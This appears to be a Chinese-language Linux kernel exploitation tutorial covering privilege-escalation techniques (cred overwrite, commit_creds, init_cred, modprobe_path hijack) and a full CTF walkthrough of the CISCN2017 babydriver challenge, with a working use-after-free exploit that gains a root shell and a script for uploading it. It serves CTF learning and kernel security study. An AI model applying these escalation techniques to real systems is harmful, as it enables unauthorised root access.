  • 用户态进入内核态:当用户态程序通过 系统调用中断 进入内核态时,会执行用户态页表映射的系统调用入口代码。在这段代码会将 CR3 寄存器的第 13 位取反,切换到内核页表,这样就可以访问完整的内核空间。
  • 内核态返回用户态:内核完成系统调用或中断处理后,需要切换回用户态,此时内核通过取反 CR3 的第 13 位,切换回用户页表。切换完成后,内核地址空间的绝大部分被剥离,仅保留必要的条目。

提权

参考链接

提权方式大致有两个方向:

  • 直接修改 cred 结构体的内容。
  • 修改 task_struct 结构体中的 cred 指针指向一个满足要求的 cred。

修改的方式有很多种,比如说

  • 在我们具有任意地址读写后,可以直接修改 cred。

  • 在我们可以 ROP 执行代码后,可以利用 ROP gadget 修改 cred。

  • 修改 cred 指针为内核镜像中已有的 init_cred 的地址。这种方法适合于我们能够直接修改 cred 指针以及知道 init_cred 地址的情况。

  • 伪造一个 cred,然后修改 cred 指针指向该地址即可。这种方式比较麻烦,一般并不使用。

如果我们可以改变特权进程的执行轨迹,也可以实现提权。这里我们从以下角度来考虑如何改变特权进程的执行轨迹。

  • 改数据
  • 改代码

进程cred指针定位

  • 直接定位

cred 结构体的最前面记录了各种 id 信息,对于一个普通的进程而言,uid~fsgid 都是执行进程的用户的身份。因此我们可以通过扫描内存来定位 cred (gdb dump下来扫magic)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
...
}

在实际定位的过程中,我们可能会发现很多满足要求的 cred,这主要是因为 cred 结构体可能会被拷贝、释放。一个很直观的想法是在定位的过程中,利用 usage 不为 0 来筛除掉一些 cred,但仍然会发现一些 usage 为 0 的 cred。这是因为 cred 从 usage 为 0, 到释放有一定的时间。此外,cred 是使用 rcu 延迟释放的。

  • 间接定位

task_struct

进程的 task_struct 结构体中会存放指向 cred 的指针,因此我们可以

  1. 定位当前进程 task_struct 结构体的地址
  2. 根据 cred 指针相对于 task_struct 结构体的偏移计算得出 cred 指针存储的地址
  3. 获取 cred 具体的地址

comm

comm 用来标记可执行文件的名字,位于进程的 task_struct 结构体中。我们可以发现 comm 其实在 cred 的正下方,所以我们也可以先定位 comm ,然后定位 cred 的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    /* Process credentials: */

/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;

/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;

/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;

#ifdef CONFIG_KEYS
/* Cached requested key. */
struct key *cached_requested_key;
#endif

/*
* executable name, excluding path.
*
* - normally initialized setup_new_exec()
* - access it with [gs]et_task_comm()
* - lock it with task_lock()
*/
char comm[TASK_COMM_LEN];

然而,在进程名字并不特殊的情况下,内核中可能会有多个同样的字符串,这会影响搜索的正确性与效率。因此,我们可以使用 prctl 设置进程的 comm 为一个特殊的字符串,然后再开始定位 comm。

commit_creds(prepare_kernel_cred(0))

只要我们改变一个进程的 cred 结构体,就能改变其执行权限。内核空间下面有两个函数,都位于 kernel/cred.c 中:

  • struct cred* prepare_kernel_cred(struct task_struct* daemon):该函数用以拷贝一个进程的 cred 结构体,并返回一个新的 cred 结构体,需要注意的是 daemon 参数应为有效的进程描述符地址或者 NULL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;

new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;

kdebug("prepare_kernel_cred() alloc %p", new);

if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred);

validate_creds(old);

*new = *old;
new->non_rcu = 0;
atomic_set(&new->usage, 1);
set_cred_subscribers(new, 0);
get_uid(new->user);
get_user_ns(new->user_ns);
get_group_info(new->group_info);

#ifdef CONFIG_KEYS
new->session_keyring = NULL;
new->process_keyring = NULL;
new->thread_keyring = NULL;
new->request_key_auth = NULL;
new->jit_keyring = KEY_REQKEY_DEFL_THREAD_KEYRING;
#endif

#ifdef CONFIG_SECURITY
new->security = NULL;
#endif
new->ucounts = get_ucounts(new->ucounts);
if (!new->ucounts)
goto error;

if (security_prepare_creds(new, old, GFP_KERNEL_ACCOUNT) < 0)
goto error;

put_cred(old);
validate_creds(new);
return new;

error:
put_cred(new);
put_cred(old);
return NULL;
}
  • int commit_creds(struct cred *new):该函数用以将一个新的cred结构体应用到进程。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
int commit_creds(struct cred *new)
{
struct task_struct *task = current;
const struct cred *old = task->real_cred;

kdebug("commit_creds(%p{%d,%d})", new,
atomic_read(&new->usage),
read_cred_subscribers(new));

BUG_ON(task->cred != old);
#ifdef CONFIG_DEBUG_CREDENTIALS
BUG_ON(read_cred_subscribers(old) < 2);
validate_creds(old);
validate_creds(new);
#endif
BUG_ON(atomic_read(&new->usage) < 1);

get_cred(new); /* we will require a ref for the subj creds too */

/* dumpability changes */
if (!uid_eq(old->euid, new->euid) ||
!gid_eq(old->egid, new->egid) ||
!uid_eq(old->fsuid, new->fsuid) ||
!gid_eq(old->fsgid, new->fsgid) ||
!cred_cap_issubset(old, new)) {
if (task->mm)
set_dumpable(task->mm, suid_dumpable);
task->pdeath_signal = 0;
/*
* If a task drops privileges and becomes nondumpable,
* the dumpability change must become visible before
* the credential change; otherwise, a __ptrace_may_access()
* racing with this change may be able to attach to a task it
* shouldn't be able to attach to (as if the task had dropped
* privileges without becoming nondumpable).
* Pairs with a read barrier in __ptrace_may_access().
*/
smp_wmb();
}

/* alter the thread keyring */
if (!uid_eq(new->fsuid, old->fsuid))
key_fsuid_changed(new);
if (!gid_eq(new->fsgid, old->fsgid))
key_fsgid_changed(new);

/* do it
* RLIMIT_NPROC limits on user->processes have already been checked
* in set_user().
*/
alter_cred_subscribers(new, 2);
if (new->user != old->user || new->user_ns != old->user_ns)
inc_rlimit_ucounts(new->ucounts, UCOUNT_RLIMIT_NPROC, 1);
rcu_assign_pointer(task->real_cred, new);
rcu_assign_pointer(task->cred, new);
if (new->user != old->user || new->user_ns != old->user_ns)
dec_rlimit_ucounts(old->ucounts, UCOUNT_RLIMIT_NPROC, 1);
alter_cred_subscribers(old, -2);

/* send notifications */
if (!uid_eq(new->uid, old->uid) ||
!uid_eq(new->euid, old->euid) ||
!uid_eq(new->suid, old->suid) ||
!uid_eq(new->fsuid, old->fsuid))
proc_id_connector(task, PROC_EVENT_UID);

if (!gid_eq(new->gid, old->gid) ||
!gid_eq(new->egid, old->egid) ||
!gid_eq(new->sgid, old->sgid) ||
!gid_eq(new->fsgid, old->fsgid))
proc_id_connector(task, PROC_EVENT_GID);

/* release the old obj and subj refs both */
put_cred(old);
put_cred(old);
return 0;
}

也就是说我们只要想办法在内核空间执行 commit_creds(prepare_kernel_cred(0)) 即可获得 root 权限,0 表示 以 0 号进程作为参考准备新的 credentials。如果进行 ROP 提权有一个难点就是寻找将 rax 赋值给 rdi 的 gadget 。可以尝试搜索 xchg rax, rdipush rax; pop rdimov rdi, raxgadget

另外 init_cred 是在内核当中有一个特殊的 cred ,它是 init 进程的 cred ,因此其权限为 root ,且该 cred 并非是动态分配的,因此当我们泄露出内核基址之后我们也便能够获得 init_cred 的地址,那么我们就只需要执行一次 commit_creds(&init_cred) 便能完成提权,不过有些内核中没有 init_cred(实际上多数情况是由于缺少符号找不到 init_cred,因此需要逆向分析 prepare_kernel_cred 函数来定位 init_cred)。不过自从内核版本 6.2 起,prepare_kernel_cred(NULL) 将不再拷贝 init_cred,而是将其视为一个运行时错误并返回 NULL,这使得这种提权方法无法再应用于 6.2 及更高版本的内核:

1
2
3
4
5
6
7
8
9
10
11
12
13
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;

if (WARN_ON_ONCE(!daemon))
return NULL;

new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;
[...]
}

commit_creds(&init_cred)

在内核初始化过程当中会以 root 权限启动 init 进程,其 cred 结构体为静态定义init_cred,由此不难想到的是我们可以通过 commit_creds(&init_cred) 来完成提权的工作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/*
* The initial credentials for the initial task
*/
struct cred init_cred = {
.usage = ATOMIC_INIT(4),
#ifdef CONFIG_DEBUG_CREDENTIALS
.subscribers = ATOMIC_INIT(2),
.magic = CRED_MAGIC,
#endif
.uid = GLOBAL_ROOT_UID,
.gid = GLOBAL_ROOT_GID,
.suid = GLOBAL_ROOT_UID,
.sgid = GLOBAL_ROOT_GID,
.euid = GLOBAL_ROOT_UID,
.egid = GLOBAL_ROOT_GID,
.fsuid = GLOBAL_ROOT_UID,
.fsgid = GLOBAL_ROOT_GID,
.securebits = SECUREBITS_DEFAULT,
.cap_inheritable = CAP_EMPTY_SET,
.cap_permitted = CAP_FULL_SET,
.cap_effective = CAP_FULL_SET,
.cap_bset = CAP_FULL_SET,
.user = INIT_USER,
.user_ns = &init_user_ns,
.group_info = &init_groups,
.ucounts = &init_ucounts,
};

init_cred 定位

init_cred 是在内核当中有一个特殊的 cred ,它是 init 进程的 cred ,因此其权限为 root ,且该 cred 并非是动态分配的,因此当我们泄露出内核基址之后我们也便能够获得 init_cred 的地址,那么我们就只需要执行一次 commit_creds(&init_cred) 便能完成提权,不过有些内核中没有 init_cred(实际上多数情况是由于缺少符号找不到 init_cred,因此需要逆向分析 prepare_kernel_cred 函数来定位 init_cred)。根据不同内核源码,确定init_cred位置即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
_DWORD *__fastcall prepare_kernel_cred(__int64 a1)
{
_DWORD *v1; // rbx
int *task_cred; // rbp

v1 = (_DWORD *)kmem_cache_alloc(qword_FFFFFFFF82735900, 20971712LL);
if ( !v1 )
return 0LL;
if ( a1 )
{
task_cred = (int *)get_task_cred(a1);
}
else
{
_InterlockedIncrement(dword_FFFFFFFF8223D1A0);
task_cred = dword_FFFFFFFF8223D1A0; // init_cred
}
qmemcpy(v1, task_cred, 0xA8uLL);
*v1 = 1;
_InterlockedIncrement(*((volatile signed __int32 **)v1 + 16));
_InterlockedIncrement(*((volatile signed __int32 **)v1 + 18));
*((_QWORD *)v1 + 11) = 0LL;
*((_QWORD *)v1 + 12) = 0LL;
*((_QWORD *)v1 + 13) = 0LL;
*((_QWORD *)v1 + 14) = 0LL;
*((_BYTE *)v1 + 80) = 1;
*((_QWORD *)v1 + 15) = 0LL;
if ( (int)security_prepare_creds(v1, task_cred, 20971712LL) < 0 )
{
if ( !_InterlockedDecrement(v1) )
_put_cred(v1);
if ( _InterlockedDecrement(task_cred) )
return 0LL;
_put_cred(task_cred);
return 0LL;
}
if ( !_InterlockedDecrement(task_cred) )
_put_cred(task_cred);
return v1;
}

符号链接

如果一个 root 权限的进程会执行一个符号链接的程序,并且该符号链接或者符号链接指向的程序可以由攻击者控制,攻击者就可以实现提权。

call_usermodehelper

call_usermodehelper 是一种内核线程执行用户态应用的方式,并且启动的进程具有 root 权限。因此,如果我们能够控制具体要执行的应用,那就可以实现提权。在内核中,call_usermodehelper 具体要执行的应用往往是由某个变量指定的,因此我们只需要想办法修改掉这个变量即可。不难看出,这是一种典型的数据流攻击方法。一般常用的主要有以下几种方式。

修改 modprobe_path

修改 modprobe_path 实现提权的基本流程如下

  1. 获取 modprobe_path 的地址。
  2. 修改 modprobe_path 为指定的程序。
  3. 触发执行 call_modprobe,从而实现提权 。这里我们可以利用以下几种方式来触发
    1. 执行一个非法的可执行文件。非法的可执行文件需要满足相应的要求。
    2. 使用未知协议来触发。

这里我们也给出使用 modprobe_path 的模板。

1
2
3
4
5
6
7
8
9
10
11
12
13
// step 1. modify modprobe_path to the target value

// step 2. create related file
system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag\ncat flag' > /home/pwn/catflag.sh");
system("chmod +x /home/pwn/catflag.sh");

// step 3. trigger it using unknown executable
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
system("chmod +x /home/pwn/dummy");
system("/home/pwn/dummy");

// step 3. trigger it using unknown protocol
socket(AF_INET,SOCK_STREAM,132);

在这个过程中,我们着重关注下如何定位 modprobe_path。

直接定位

由于 modprobe_path 的取值是确定的,所以我们可以直接扫描内存,寻找对应的字符串。这需要我们具有扫描内存的能力。

间接定位

考虑到 modprobe_path 相对于内核基地址的偏移是固定的,我们可以先获取到内核的基地址,然后根据相对偏移来得到 modprobe_path 的地址。

call_usermodehelper用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <linux/init.h>
#include <linux/module.h>
#include <linux/types.h>
#include <linux/kmod.h>

MODULE_LICENSE("GPL");

static int __init call_usermodehelper_init(void)
{
int ret = -1;
/*
char path[] = "/bin/mkdir";
char *argv[] = {path, "-p", "/home/tester/new/new_dir", NULL};
*/
char path[] = "/bin/bash";
char *argv[] = {path, "-c", "ls", "-la", ">", "/home/tester/ls_output", NULL};
char *envp[] = {NULL};

printk("call_usermodehelper module is starting..!\n");
ret = call_usermodehelper(path, argv, envp, UMH_WAIT_PROC);
printk("ret=%d\n", ret);
return 0;
}

static void __exit call_usermodehelper_exit(void)
{
int ret = -1;
char path[] = "/bin/rm";
char *argv[] = {path, "-r", "/home/tester/new/new_dir", NULL};
char *envp[] = {NULL};

printk("call_usermodehelper module is starting..!\n");
ret = call_usermodehelper(path, argv, envp, UMH_WAIT_PROC);
printk("ret=%d\n", ret);
}

module_init(call_usermodehelper_init);
module_exit(call_usermodehelper_exit);

修改 poweroff_cmd

  1. 修改 poweroff_cmd 为指定的程序。
  2. 劫持控制流执行 __orderly_poweroff

关于如何定位 poweroff_cmd,我们可以采用类似于定位 modprobe_path 的方法。

早期的内核

在早期的时候还有像 kernel null pointer dereference 和 修改 vDSO 段内函数代码为shellcode这样的操作,感兴趣可以查询相关资料,这里就不做介绍了。

ioctl 系统调用

参考链接

Linux中一切都可以被视为文件,因为一切都可以访问文件的方式进行操作,Linux定义了系统调用ioctl供进程与设备之间进行通信,系统调用ioctl是一个用于设备输入输出操作的一个系统调用,调用方式如下:

1
int ioctl(int fd, unsigned long request, ...);
  • fd:设备的文件描述符
  • request:请求码
  • 其他参数

对于一个提供了 ioctl 通信方式的设备而言,我们可以通过其文件描述符、使用不同的请求码及其他请求参数通过 ioctl 系统调用完成不同的对设备的 I/O 操作。一些没办法归类的函数就统一放在 ioctl 这个函数操作中,通过指定的命令来实现对应的操作。所以,ioctl函数里面都实现了多个的对硬件的操作,通过应用层传入的命令来调用相应的操作。

环境搭建

内核编译 (可选)

清华源

  1. make menuconfig

这里我们主要关注调试方面的选项,依次进入到 Kernel hacking -> Compile-time checks and compiler options,然后勾选如下选项Compile the kernel with debug info,以便于调试。不过似乎现在是默认开启的。如果要使用 kgdb 调试内核,则需要选中 KGDB: kernel debugger,并选中 KGDB 下的所有选项。

报错处理:

【1】

问题概述:

make[1]: *** No rule to make target 'debian/canonical-certs.pem', needed by 'certs/x509_certificate_list'. Stop. make: *** [Makefile:1868: certs] Error 2

解决方法:

编辑 .config 文件,搜索debian/canonical-certs.pem并把这个字符串删掉。

删除前:

  • CONFIG_SYSTEM_TRUSTED_KEYS=”debian/canonical-certs.pem”

删除后

  • CONFIG_SYSTEM_TRUSTED_KEYS=””
  1. make bzImage -j4

注意事项:

注意 gcc 版本问题,4.*一般用 gcc-55.*一般用 gcc-7

gcc多版本共存请参考这里

  1. 编译成功后

我们一般主要关注于如下的文件

  • bzImage:arch/x86/boot/bzImage
  • vmlinux:源码所在的根目录下。

此外,这里给出常见内核文件的介绍。

  • bzImage:目前主流的 kernel 镜像格式,即 big zImage(即 bz 不是指 bzip2),适用于较大的(大于 512 KB) Kernel。这个镜像会被加载到内存的高地址,高于 1MB。bzImage 是用 gzip 压缩的,文件的开头部分有 gzip 解压缩的代码,所以我们不能用 gunzip 来解压缩。
  • zImage:比较老的 kernel 镜像格式,适用于较小的(不大于 512KB) Kernel。启动时,这个镜像会被加载到内存的低地址,即内存的前 640 KB。zImage 也不能用 gunzip 来解压缩。
  • vmlinuz:vmlinuz 不仅包含了压缩后的 vmlinux,还包含了 gzip 解压缩的代码。实际上就是 zImage 或者 bzImage 文件。该文件是 bootable 的。 bootable 是指它能够把内核加载到内存中。对于 Linux 系统而言,该文件位于 /boot 目录下。该目录包含了启动系统时所需要的文件。
  • vmlinux:静态链接的 Linux kernel,以可执行文件的形式存在,尚未经过压缩。该文件往往是在生成 vmlinuz 的过程中产生的。该文件适合于调试。但是该文件不是 bootable 的。
  • vmlinux.bin:也是静态链接的 Linux kernel,只是以一个可启动的 (bootable) 二进制文件存在。所有的符号信息和重定位信息都被删除了。生成命令为:objcopy -O binary vmlinux vmlinux.bin
  • uImage:uImage 是 U-boot 专用的镜像文件,它是在 zImage 之前加上了一个长度为 0x40 的 tag 而构成的。这个 tag 说明了这个镜像文件的类型、加载位置、生成时间、大小等信息。

编译 busybox (可选)

可以在 busybox官网 下载源码解压安装。

1
2
wget https://busybox.net/downloads/busybox-1.36.1.tar.bz2
tar -jxvf busybox-1.36.1.tar.bz2

make menuconfig

  1. 进入 setting 选择静态编译。
  2. 设置安装目录(Destination path for 'make install'),可以默认也可以改为 ./rootfs

make -j4 && make install

源目录下的 rootfs 文件夹里便是我们编译好的文件系统。

Kernel Pwn 一般流程

我们拿 CISCN2017-babykernel 这道题为例。

基础概念

解压后有三个文件:

  • boot.sh:启动脚本;
  • bzImage:内核镜像;
  • rootfs.cpio:文件系统;

启动脚本

1
2
3
4
5
6
7
8
9
10
#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.cpio \
-kernel bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-enable-kvm \
-monitor /dev/null -m 64M \
--nographic \
-smp cores=1,threads=1 \
-cpu kvm64,+smep

在用 qemu 启动内核时,常用的选项如下

  • -m, 指定 RAM 大小,默认 384M
  • -kernel,指定内核镜像文件 bzImage 路径
  • -initrd,设置内核启动的内存文件系统
  • -smp [cpus=]n[,cores=cores][,threads=threads][,dies=dies][,sockets=sockets][,maxcpus=maxcpus],指定使用到的核数。
  • -cpu,指定指定要模拟的处理器架构,可以同时开启一些保护,如
    • +smap,开启 smap 保护
    • +smep,开启 smep 保护
  • -nographic,表示不需要图形界面
  • -monitor,对 qemu 提供的控制台进行重定向,如果没有设置的话,可以直接进入控制台。-monitor /dev/nullCtrl + c 可以直接退出 qemu 。
  • -append,附加选项
    • nokaslr 关闭随机偏移
    • pti=on/off 开启/关闭 KPTI
    • console=ttyS0,和 nographic 一起使用,启动的界面就变成了当前终端。

安装 qemu 后运行 boot.sh 即可启动 linux 系统。

内核镜像

bzImage 便是我们上面提到的内核镜像,可以用 file 检查内核版本。

1
2
$ file bzImage 
bzImage: Linux kernel x86 boot executable bzImage, version 4.4.72 (atum@ubuntu) #1 SMP Thu Jun 15 19:52:50 PDT 2017, RO-rootFS, swap_dev 0X6, Normal VGA

文件系统

启动的文件系统,可以通过 cpio 进行解压(cpio -idmv < rootfs.cpio),不过有的题目可能会把一些其它压缩格式的文件系统后缀改成 cpio。可以选择右击然后Extract Here。有时右键解压的文件系统会导致内核启动不了,目前用 binwalk -e 解压的是没问题的 。

逆向分析

分析init文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

init 是 linux 启动时的初始化文件,主要做一些环境配置。通过分析 init 文件可以获取一些重要信息,另外可以通过修改 init 文件增加调试分析的便捷性。

  • init 脚本中得知 需要分析的驱动文件的所在路径为 /lib/modules/4.4.72/babydriver.ko ,另外该驱动可能对应设备 /dev/babydev ,具体是否存在这种对应关系还需要分析 babydriver.ko 中是否有注册 babydev 设备的操作。
  • setsid cttyhack setuidgid 1000 sh 这条命令决定以非 root 权限启动命令行,如果想要以 root 权限启动命令行需要将 1000 改为 0 。
  • 有的题目可能存在 poweroff -d 0 -f & 命令用来定时关机,在本地调试的时候最好注释掉。

分析 babydriver.ko

1
2
3
4
5
6
7
8
int __fastcall babyopen(inode *inode, file *filp)
{
_fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);
babydev_struct.device_buf_len = 0x40LL;
printk("device open\n");
return 0;
}

babyopen() 函数中,申请了一个 0x40 大小的堆,然后将堆地址和大小赋给 babydev_struct 这个结构体的成员。babydev_struct是一个全局变量,未设置任何保护措施。因此,当有两个用户同时打开open("/dev/babydev",2)该设备节点时,后一个 open 操作,将覆盖babydev_struct.device_buf上的值,导致两个用户(不同fd)指向同一堆块。


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx

_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_to_user(buffer);
return v6;
}
return result;
}

babyread()函数逻辑简单,判断babydev_struct.device_buf_len是否大于用户态传入的长度(rdx),如果满足条件则将babydev_struct.device_buf指向的内容拷贝到用户态。


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx

_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_from_user();
return v6;
}
return result;
}

babywrite()函数跟babyread()函数类似,判断条件通过后,将用户态的数据拷贝给babydev_struct.device_buf


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx

_fentry__(filp, command);
v4 = v3;
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n");
return 0LL;
}
else
{
printk(&unk_2EB);
return -22LL;
}
}

babyioctl()只有一个分支(command),它先将babydev_struct.device_buf指向的堆块释放掉,然后根据用户态传入的arg参数申请任意大小堆块,并更新babydev_struct结构体中两个成员。


1
2
3
4
5
6
7
int __fastcall babyrelease(inode *inode, file *filp)
{
_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n");
return 0;
}

babyrelease()函数在close(fd)关闭设备节点时会被调用到,这里释放了babydev_struct.device_buf指向的堆块,但是并没有置空,存在一个UAF漏洞,babydev_struct是全局变量,如果我们open设备两次,那么第二次open的时候就会覆盖第一次openbabydev_struct,此时free掉第一个,第二个指向的就是free后的,因此这里存在一个UAF。利用UAF去修改新进程的CRED结构,从而达成权限提升的效果。

编写EXP

cred结构体大小为 0xa8,那么利用思路就很明确了: 1. 首先打开 babydev 两次,此时第二次申请的内存会覆盖第一次申请的内存地址; 2. 通过 ioctl 修改内存大小为 0xa8,也就是 cred 的大小; 3. 关闭第一个句柄,此时会执行 babyrelease 函数,全局变量中的结构体指向的 0xa8 大小的内存会被释放,而第二个文件句柄依然存在,因此我们获得了一个悬垂指针(指向被释放的内存); 4. 这时fork 一个子进程,子进程的 cred 正好申请在我们释放的位置(子进程会申请额外创建PCB空间); 5. 通过悬垂指针我们可以 write 新进程 cred 中的内容,从而实现新进程的权限提升。

Tips

fork() 执行流程

  1. 申请 PID
  2. 申请 PCB 结构
  3. 复制父进程的 PCB
  4. 将子进程的运行状态设置为不可执行的
  5. 将子进程中的某些属性清零,某些保留,某些修改
  6. 复制父进程的页(用到了写时拷贝技术)
  7. 子进程从fork()从下一行代码开始执行

写时拷贝技术: 父子进程在初始阶段共享所有的数据(全局、 栈区、 堆区、 代码), 内核会将所有的区域设置为只读。 当父子进程中任意一个进程试图修改其中的数据时, 内核才会将要修改的数据所在的区域(页) 拷贝一份。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
/*
* 高版本 glibc 已经移除了这个库,可以用下面三个库替代
* #include <stropts.h>
*/
#include <asm/ioctls.h>
#include <sys/ioctl.h>
#include <asm/termbits.h>

#include <sys/wait.h>
#include <sys/stat.h>

int main()
{
// 打开两次设备
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);

// 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
ioctl(fd1, 0x10001, 0xa8);

// 释放 fd1
close(fd1);

// 子进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
int pid = fork();
// 子进程从这里开始执行
if(pid < 0)
{
puts("[*] fork error!");
exit(0);
}
// 子进程没有子进程所以子进程的 pid == 0
else if(pid == 0)
{
// 通过更改 fd2,修改子进程的 cred 的 uid,gid 等值为0
char zeros[30] = {0};
write(fd2, zeros, 28);

if(getuid() == 0)
{
puts("[+] root now.");
system("/bin/sh");
exit(0);
}
}
// 父进程 pid == 子进程 pid,父进程调用 wait(NULL) 等待子进程,以免程序提前结束
else
{
wait(NULL);
}
close(fd2);

return 0;
}

因为运行环境中没有一些依赖库,所以我们采取静态编译。

1
gcc -static -masm=intel -pthread exp.c -o exp

有些时候系统的库可能与内核交互不匹配,导致exp正确也无法完成交互,这时候可以尝试使用 musl-gcc,或者使用docker进行编译。头文件里面的内容需要与目标匹配才能交互,如果 gcc 编译的 exp 过大可以考虑使用 musl-gcc 进行编译,不过例如 userfault_fd 的相关功能 musl 没有,并不能完全替代 gcc ,所以可以尝试使用 docker。

打包文件系统

我们本地调试一般采取打包的方式来方便调试。

pack.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/sh

cp -r rootfs rootfs_tmp
# 如果 gcc 编译的 exp 过大可以考虑使用 musl-gcc 进行编译,
# 不过例如 userfault_fd 的相关功能 musl 没有,并不能完全替代 gcc
# musl-gcc -static -masm=intel -pthread exp.c -o exp
gcc -static -masm=intel -pthread exp.c -o exp
cp exp rootfs_tmp/

cd rootfs_tmp || exit
find . | cpio -o -H newc >../rootfs.cpio
cd ..

sudo rm -rf rootfs_tmp

远程文件传输

一般采取 base64 编码进行传输。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
import base64
#context.log_level = "debug"

with open("./exp", "rb") as f:
exp = base64.b64encode(f.read())

context.log_level = 'info'

while True:
sl()
rl()
count = 0
for i in range(0, len(exp), 0x200):
sla(b"/ $ ", b"echo -n \"" + exp[i:i + 0x200] + b"\" >> /tmp/b64_exp")
count += 1
info("count: " + str(count))

sla(b"/ $ ", b"cat /tmp/b64_exp | base64 -d > /tmp/exploit")
sla(b"/ $ ", b"chmod +x /tmp/exploit")
sla(b"/ $ ", b"/tmp/exploit ")
break

context.log_level = 'debug'

ia()

获取 vmlinux

由于bzImage是压缩过的内核镜像,因此需要获取未经压缩的 vmlinux 镜像用于提供调试符号,以及查找 gadget 和关键结构偏移。我们可以通过编译内核来获取 vmlinux,但即使题目提供了 config 文件,编译出的 vmlinux 中各结构的偏移也不一定与题目提供的 bzImage 相同。编译出的 vmlinux 只是在计算结构体中成员偏移起参考作用,gadget 等涉及在内核中偏移的还是在 vmlinux-to-elf 解压的 vmlinux 中找。

vmlinux-to-elf

1
2
3
sudo apt install python3-pip liblzo2-dev
sudo pip3 install --upgrade lz4 zstandard git+https://github.com/clubby789/python-lzo@b4e39df
sudo pip3 install --upgrade git+https://github.com/marin-m/vmlinux-to-elf

使用方法

1
vmlinux-to-elf <input_kernel.bin> <output_kernel.elf>

gdb调试

首先需要对 boot.sh 做如下修改:

  • 添加 nokaslr 关闭地址随机化。
